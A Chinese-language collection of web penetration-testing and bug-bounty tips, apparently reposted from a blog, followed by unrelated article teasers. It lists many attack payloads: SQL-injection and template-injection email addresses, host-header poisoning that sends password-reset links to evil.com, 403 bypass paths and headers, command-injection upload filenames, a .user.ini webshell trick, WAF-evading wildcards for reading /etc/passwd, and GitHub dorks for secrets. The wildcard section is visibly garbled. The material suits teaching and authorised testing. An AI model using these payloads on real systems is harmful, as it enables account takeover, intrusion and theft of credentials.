渗透测试漏洞挖掘技巧

文章目录

  • 一、使用.json进行敏感数据泄漏
  • 二、如何查找身份验证绕过漏洞
  • 三、在Drupal上找到隐藏的页面
  • 四、遗忘的数据库备份
  • 五、电子邮件地址payloads
  • 六、HTTP主机头:localhost
  • 七、通过篡改URI访问管理面板
  • 八、通过URL编码空格访问管理面板
  • 九、篡改URI绕过403
  • 十、Bypass401、403
  • 十一、文件上传引申其他漏洞
  • 十二、文件上传.user.ini绕过
  • 十三、密码中毒绕过账户接管
  • 十四、查看源代码来查找LFI
  • 十五、在访问admin路径面板时可以通过添加%20来绕过
  • 十六、使用通配符绕Waf
  • 十七、绕过邮件过滤导致Sql注入
  • 十八、手机发送短信时间被限制
  • 十九、图片验证码
  • 二十、模板注入
  • 二十一、使用github dorks帮助我们寻找一些敏感信息

一、使用.json进行敏感数据泄漏

这是使用.json扩展名实现敏感数据泄漏的提示。
请求:GET /ResetPassword HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK

e.g.
请求:GET /ResetPassword.json HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK{“success”:“true”,“token”:“596a96-cc7bf-9108c-d896f-33c44a-edc8a”}
请注意,在我们的请求中添加了.json扩展名,这导致获得了秘密令牌!

二、如何查找身份验证绕过漏洞

这是一个有趣的提示,可以帮助您找到身份验证绕过漏洞:
请求:GET /delete?user=test HTTP/1.1
响应:HTTP/1.1 401 Unauthorized

现在让我们尝试一下:
请求:GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1
响应:HTTP/1.1 302 Found
这在前端使用添加的自定义HTTP标头(X-Custom-IP-Authorization)的情况下可能有效-例如,当它用于标识通过负载均衡器连接到Web服务器的客户端的原始IP地址时。
通过将自己标识为127.0.0.1,我们可以规避Web应用程序的访问控制并执行特权操作。

三、在Drupal上找到隐藏的页面

如果您正在Drupal网站上找漏洞,在‘/node/ ’上使用 B u r p S u i t e I n t r u d e r (或其他类似工具)进行模糊测试,其中’ ’ 上使用Burp Suite Intruder(或其他类似工具)进行模糊测试,其中’ 上使用BurpSuiteIntruder(或其他类似工具)进行模糊测试,其中’是一个数字(从1到500)。
例如:
https://target.com/node/1
https://target.com/node/2
https://target.com/node/3

https://target.com/node/499
https://target.com/node/500
很有可能我们会找到搜索引擎未引用的隐藏页面(测试,开发)。

四、遗忘的数据库备份

这是使用此小型但快速的模糊列表查找数据库备份的list:
/back.sql
/backup.sql
/accounts.sql
/backups.sql
/clients.sql
/customers.sql
/data.sql
/database.sql
/database.sqlite
/users.sql
/db.sql
/db.sqlite
/db_backup.sql
/dbase.sql
/dbdump.sql
setup.sql
sqldump.sql
/dump.sql
/mysql.sql
/sql.sql
/temp.sql
旧的数据库转储可能包含各种敏感信息-用户凭证,配置设置,机密和api密钥,客户数据等。

五、电子邮件地址payloads

以下有效载荷都是有效的电子邮件地址,我们不仅可以用于基于Web的电子邮件系统的渗透测试。
XSS(跨站脚本):
test+(”@example.com
模板注入:
“<%=7 * 7 %>”@example.com
test+(${{7*7}})@example.com
SQL注入
“'OR 1=1 – '”@example.com
“mail’);DROP TABLE users;–”@example.com
SSRF(服务器端请求伪造):
john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
参数污染:
victim&email=attacker@example.com
(电子邮件)标头注入:
“%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com
“recipient@test.com>\r\nRCPTTO:<victim+”@test.com

六、HTTP主机头:localhost

在目录爆破中将“ Host”标头设置为“ localhost”,结果可能令人惊讶!您可能可以访问:
特殊功能
内部端口
配置文件,SSL密钥
目录列表,等等…
我们甚至可以更进一步,通过执行虚拟主机枚举来尝试标识目标Web服务器上托管的所有站点。使用以下工具:
https://github.com/ffuf/ffuf
https://nmap.org/nsedoc/scripts/http-vhosts.html
https://github.com/jobertabma/virtual-host-discovery
注意,我们也可以使用curl或wget:
curl-v -H “Host: localhost” https://target/
wget-d --header=“Host: localhost” https://target/

七、通过篡改URI访问管理面板

这是通过以下方式篡改URI来访问管理面板的超级简单技巧:
https://target.com/admin/ –> HTTP 302(重定向到登录页面)
https://target.com/admin…;/ –> HTTP 200 OK
也尝试以下技巧,其他人对此推文发表了评论:
https://target.com/…/admin
https://target.com/whatever/…;/admin

八、通过URL编码空格访问管理面板

通过篡改URI并添加额外的空格(%20)来帮助访问受限区域
target.com/admin –> HTTP 302 (重定向到登陆页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
作者能够使用此技巧来发现“身份验证和会话管理”损坏的问题,并访问目标Web应用程序中的管理面板。后端Web服务器是Apache HTTP服务器,但是它也可以在其他地方工作。
Protip:还检查与此非常相似的先前发布的提示(BBT4-5,BBT4-6)。

九、篡改URI绕过403

该技巧与上一个技巧非常相似。通过篡改URI,我们也许可以绕过应用程序的访问控制:
site.com/secret –>禁止HTTP 403
site.com/secret/ ->HTTP 200 OK
site.com/secret/。 –> HTTP 200 ok
site.com//secret// ->HTTP 200 OK
site.com/./secret/… –> HTTP 200 OK
很少见到,但可以尝试一下。

十、Bypass401、403

以下是有关如何绕过403禁止和401未经授权错误的提示列表:
1、通过添加headers:X-Originating-IP,X-Remote-IP,X-Client-IP,X-Forwarded-For等。有时,公司将那些可以访问敏感数据的IP列入白名单。这些标头将IP地址作为值,如果提供的IP与白名单中的IP地址匹配,则您可以访问资源。
2、使用Unicode字符:尝试插入Unicode字符以绕过防御。尝试例如 ℀ = ca,℁= sa以及其他许多选项(在此处或此处检查)。因此,如果/cadmin被阻止,请尝试访问 ℀dmin。检查这对Unicode的黑客技巧短期YouTube视频的更多细节。
3、通过覆盖,用标头覆盖URL:如果GET /admin给您403 Forbidden,请尝试GET /accessible(任何可访问的端点)并添加以下任何HTTP标头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
4、尝试不同的负载:如果GET /admin有403 Forbidden,请尝试访问:
/accessible/…;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
5、方法切换:将方法从GET更改为POST,然后看是否有所收获。
6、通过IP,Vhost:通过其IP或Vhost访问该站点以获取禁止的内容。
7、模糊化:进一步对文件或目录进行暴力处理。
Tips:还要检查与此有关的先前发布的提示:Tips-6-6,Tips-4-5和Tips-4-6。

十一、文件上传引申其他漏洞

在Web应用程序中测试文件上传功能时,请尝试将文件名设置为以下值:
…/…/…/tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
.jpg/png —> for XSS

; sleep 10; —> for command injections

使用这些Payload,我们可能会触发其他漏洞。

十二、文件上传.user.ini绕过

先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。上传成功之后,用webshell管理工具添加该图片的路径,但该图片名改为当前目录下的php文件,例如readme.php,输入密码连接成功
有关 .user.ini 的参考请看:https://blog.csdn.net/weixin_52635170/article/details/126962920

十三、密码中毒绕过账户接管

该漏洞赏金提示演示了密码重置功能的绕过技术,该功能可能会导致ATO(帐户接管)。
考虑以下3个请求:
1、正常要求:
Request:
POST /password-reset?user=123 HTTP/1.1
Host: target.com
Link received:
https://target.com/reset-link=1g2f3guy23g
2、基本HHI(主机头注入):
Request:
POST /password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
none
Error 404 - request blocked
3、Bypass
Request:
POST https://target.com/password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
https://evil.com/reset-link=1g2f3guy23g
注意,在绕过中,我们在POST请求中使用了绝对URL。在这种情况下,应完全忽略Host标头。但是,某些后端系统仍会处理它,而前端系统则不处理-只是不一致。
如果成功,这可能会导致严重性较高的错误,从而导致重置令牌泄漏,进而导致帐户接管和特权升级。这是一个真实的错误报告,详细描述了影响。

十四、查看源代码来查找LFI

此漏洞赏金提示对于使用Web浏览器呈现输入到它们的URL的Web应用程序很有用。例如,这可能是Web应用程序的广告预览/数据验证功能。
它也可能是一个Web应用程序,它将获取您的URL并为您截屏。您可以在服务器端呈现URL的任何地方找到它。
好了,现在的实际提示是:
作为一个漏洞搜寻者,您将尝试访问“ file:///etc/passwd”,对吗?但是,如果它被列入黑名单或以某种方式被阻止怎么办?尝试改为访问“ view-source:file:///etc/passwd”!
开发人员经常在黑名单中忘记“查看源代码”功能。

十五、在访问admin路径面板时可以通过添加%20来绕过

target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK

十六、使用通配符绕Waf

如果有WAF(Web应用程序防火墙)过滤您的RCE(远程代码执行)和LFI(本地文件包含)payload(有效负载),则可以尝试使用通配符绕过它。
这是一个例子:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
Globbing是模式扩展的一种形式,用于匹配特定路径,并且使用以下通配符来实现:
? = any single character

  • = any string, including zero length string!
    Globbing可以在所有流行的平台上使用,包括Windows(CMD,PowerShell),UNIX和Mac。在UNIX平台上,我们还可以使用$ IFS特殊变量替换空白:
    I F S = I n t e r n a l F i e l d S e p a r a t o r = [ s p a c e ] , [ t a b ] o r a [ n e w l i n e ] 例如,所有这些都应在典型的 L i n u x 系统上执行“ / b i n / c a t / e t c / p a s s w d ”: / ∗ / ? a t IFS = Internal Field Separator = [space], [tab] or a [newline] 例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”: /*/?at IFS=InternalFieldSeparator=[space],[tab]ora[newline]例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd//?atIFS/???/???swd
    /****/?at I F S / ? ? ? / ∗ s w d / ∗ ∗ ∗ ∗ / ? a t IFS/???/*swd /****/?at IFS/???/swd//?atIFS/???/*******swd

十七、绕过邮件过滤导致Sql注入

在这里插入图片描述在这里插入图片描述

在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。
请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
“injection_here”@example.com
带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。

十八、手机发送短信时间被限制

手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。

十九、图片验证码

图片验证码可设置为空,如:code=undefined

二十、模板注入

在{{xxx}}中输入的命令参数可被执行,如:
www.baidu.com/{{1+1}}

二十一、使用github dorks帮助我们寻找一些敏感信息

比如:
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/104500.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring源码分析】Bean的元数据和一些Spring的工具

Bean的元数据和一些Spring工具 一、BeanDefinition1、认识 BeanDifinition2、AbstractBeanDefinition3、GenericBeanDefinition测试 二、BeanDefinition 注册器三、加载BeanDefinition四、包扫描过程分析包扫描过程总结 五、内省 API六、反射工具Bean 的创建批量构造Resolvable…

c++视觉处理---仿射变换和二维旋转变换矩阵的函数

仿射变换cv::warpAffine cv::warpAffine 是OpenCV中用于执行仿射变换的函数。仿射变换是一种线性变换&#xff0c;可用于执行平移、旋转、缩放和剪切等操作。下面是 cv::warpAffine 函数的基本用法&#xff1a; cv::warpAffine(src, dst, M, dsize, flags, borderMode, borde…

【学习笔记】Spring Security 01 认识Spring Security的重要特征(Features)

Spring Security 零、概述 Spring Security&#xff08;简称SS&#xff09;是一个高可用的、可自定义的身份认证和鉴权控制的框架。 类似的框架还有Shiro。 需求场景&#xff1a; 现今流行的web开发中&#xff0c;安全的第一位。 原本的鉴权开发流程&#xff1a;springweb自…

【ROS】使用vscode浏览navigation2源码时,提示:没有那个文件或目录

1、问题描述 使用vscode浏览navigation2源码时,头文件下面有波浪线,并提示:没有那个文件或目录。比如没有:geometry_msgs/msg/polygon.h 错误信息: 无法打开源文件 “geometry_msgs/msg/polygon.h” (dependency of “nav2_controller/controller_server.hpp”)C/C++(16…

【C++】异常处理之throw、catch、try、局部资源管理、标准异常库

一、抛出异常 异常处理机制两个主要成分&#xff1a; 异常的鉴定与发出&#xff1b;异常的处理方式。 C通过throw表达式产生异常&#xff1a; inline void Triangular_iterator:: check_integrity() {if(_index>Triangular::max_elems){throw iterator_overflow(_index,…

解决react使用css module无法重写bootstrap样式的问题

react使用css module虽然能够解决样式污染&#xff0c;但是同时也失去了写css样式的灵活性&#xff0c;特别是&#xff1a;在.module.css文件中当子元素是非变量的静态class类&#xff08;比如bootstrap&#xff09;, 此时使用css选择器对该子元素的样式不会起作用的 比如下面…

什么是API网关?——驱动数字化转型的“隐形冠军”

什么是API网关 API网关&#xff08;API Gateway&#xff09;是一个服务器&#xff0c;位于应用程序和后端服务之间&#xff0c;提供了一种集中式的方式来管理API的访问。它是系统的入口点&#xff0c;负责接收并处理来自客户端的请求&#xff0c;然后将请求路由到相应的后端服…

为什么Excel插入图片不显示,点击能够显示

今天在做Excel表格时&#xff0c;发现上传图片后不能显示&#xff0c;但是点击还是能够出现图片的 点击如下 点击能看到&#xff0c;但是不显示&#xff1f;那么只需鼠标右键点击浮动即可显示

CSS 滚动驱动动画 animation-range

animation-range 语法 normallength-percentagetimeline-range-name 具名时间线范围 named timeline rangecovercontainentry 和 entry-crossingexit 和 exit-crossing 兼容性 animation-range 这个属性可同时对 scroll progress timeline 和 view progress timeline 这两种不…

了解华为交换机路由器的基本命令

什么是CLI&#xff1a;使用户与设备交互的界面&#xff0c;用户输入对应的命令&#xff0c;设备会回复我们输入的内容&#xff0c;回车车后设备会执行对应命令&#xff0c;达到管理、配置、查看的目的。 CLI界面分为三种操作视图&#xff1a; 用户试图&#xff1a;设备登陆后…

【java|golang】多字段排序以及排序规则

奖励最顶尖的 K 名学生 给你两个字符串数组 positive_feedback 和 negative_feedback &#xff0c;分别包含表示正面的和负面的词汇。不会 有单词同时是正面的和负面的。 一开始&#xff0c;每位学生分数为 0 。每个正面的单词会给学生的分数 加 3 分&#xff0c;每个负面的词…

selenium打开火狐浏览器

项目上需求为&#xff1a;甲方OA 系统是IE系统&#xff0c;需要从IE系统点个按钮打开火狐浏览器单点登录跳转到我们的系统 前期解决方案为&#xff1a;打开浏览器就行了&#xff0c;然后就用的是打开本地浏览器&#xff0c;但是由于B/S架构&#xff0c;有别人远程访问我的ip来…

如何使用ChatPPT生成PPT文档

简介 ChatPPT是一个基于人工智能的PPT生成工具&#xff0c;可以帮助用户快速生成高质量的PPT文档。ChatPPT使用自然语言处理技术&#xff0c;可以根据用户的指令生成PPT内容、设计和排版。 使用方法 ChatPPT提供了两种使用方式&#xff1a;在线体验版和Office插件版。 在线…

【博客搭建】1、拾壹博客本地启动遇到的问题和需要注意的坑

一、后端&#xff08;blog&#xff09;启动 1、修改application.yml中的数据库链接与密码&#xff0c;Redis账号密码&#xff0c;即可启动成功&#xff1b; 2、运行之前先导入sql&#xff1b; 3、 如需上传文件保存至本地&#xff08;例如相册的照片&#xff09;&#xff0c;需…

【竞赛题目】木块(C语言详解)

" 木块 " 是【第二届全国高校计算机技能竞赛】里的一道竞赛题目&#xff0c;博主觉得很新颖想推荐给大家&#xff1b; 题目描述 为了提高词汇量&#xff0c;小理得到了一套四块木块&#xff0c;其中每块都是一个立方体&#xff0c;六面各写着一个字母。他正在通过将…

神经网络中卷积和池化的区别

1、什么叫卷积&#xff1f; 卷积层是用一个固定大小的矩形区去席卷原始数据&#xff0c;将原始数据分成一个个和卷积核大小相同的小块&#xff0c;然后将这些小块和卷积核相乘输出一个卷积值&#xff08;注意这里是一个单独的值&#xff0c;不再是矩阵了&#xff09;。 卷积的…

YOLOv5算法改进(11)— 主干网络介绍(MobileNetV3、ShuffleNetV2和GhostNet)

前言:Hello大家好,我是小哥谈。主干网络通常指的是深度学习中的主干模型,通常由多个卷积层和池化层组成,用于提取输入数据的特征。在训练过程中,主干网络的参数会被不断优化以提高模型的准确性。YOLOv5算法中的主干网络可以有多种替换方案,为了后面讲解的方便,本篇文章就…

CVE-2017-12615 Tomcat远程命令执行漏洞

漏洞简介 2017年9月19日&#xff0c;Apache Tomcat官方确认并修复了两个高危漏洞&#xff0c;漏洞CVE编号&#xff1a;CVE-2017-12615和CVE-2017-12616&#xff0c;其中 远程代码执行漏洞&#xff08;CVE-2017-12615&#xff09; 当 Tomcat 运行在 Windows 主机上&#xff0c;…

加持智慧医疗,美格智能5G数传+智能模组让就医触手可及

智慧医疗将云计算、物联网、大数据、AI等新兴技术融合赋能医疗健康领域&#xff0c;是提高医疗健康服务的资源利用效率&#xff0c;创造高质量健康医疗的新途径。《健康中国2030规划纲要》把医疗健康提升到了国家战略层面&#xff0c;之后《“十四五”全面医疗保障规划》等一系…

时间复杂度O(40n*n)的C++算法:修改图中的边权

本篇源码下载 点击下载 1.12.1. 题目 给你一个 n 个节点的 无向带权连通 图&#xff0c;节点编号为 0 到 n - 1 &#xff0c;再给你一个整数数组 edges &#xff0c;其中 edges[i] [ai, bi, wi] 表示节点 ai 和 bi 之间有一条边权为 wi 的边。 部分边的边权为 -1&#xff08…